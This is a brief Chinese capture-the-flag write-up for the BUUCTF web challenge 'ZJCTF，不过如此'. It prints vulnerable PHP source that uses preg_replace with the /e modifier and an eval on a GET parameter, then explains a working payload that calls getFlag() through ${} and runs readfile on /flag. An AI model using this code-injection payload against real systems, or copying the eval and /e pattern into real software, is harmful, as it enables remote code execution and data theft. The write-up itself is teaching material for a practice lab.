BUUCTF-web ZJCTF，不过如此

很明显要利用伪协议读next.php

base64解码后查看源码

 <?php
 $id = $_GET['id'];
 $_SESSION['id'] = $id;

 function complex($re, $str) {
     return preg_replace(
         '/(' . $re . ')/ei',
         'strtolower("\\1")',
         $str
     );
 }

 foreach($_GET as $re => $str) {
     echo complex($re, $str). "\n";
 }

 function getFlag(){
     @eval($_GET['cmd']);
 }

可以看到。preg_replace函数加了/e。/e 修正符使 preg_replace() 将 replacement 参数（preg_replace 函数的第二个参数）当作 PHP 代码，导致命令执行。本题需要想办法调用getFlag()命令执行获取flag

\1 是一种后向引用，表示表达式中，从左往右数，第一个左括号对应的括号内的内容。
以此类推，\2表示第二个，\0表示整个表达式。在本题中对应着get的参数id。

payload:\S*=${getflag()}&cmd=readfile("/flag");

为什么用"\S*"做变量名 ?

"\S"在正则中表示所有非空白字符,"\S*"相当于匹配所有非空白字符串。这样就能匹配到getFlag(),结合前面的\1，使我们能够控制preg_replace的第二个参数

为什么要用${getflag()}?

因为正则之后getflag()就是字符串，是不会被执行的。不加${}第二参数'strtolower("\\1")'等价于'getflag()'。被解析成字符串。所以加上${}使getflag()先被执行。

之后再用readfile读flag

可参考：https://www.jb51.net/article/38714.htm

7.0.0版本之后不再支持 /e修饰符。 需要用 preg_replace_callback() 代替。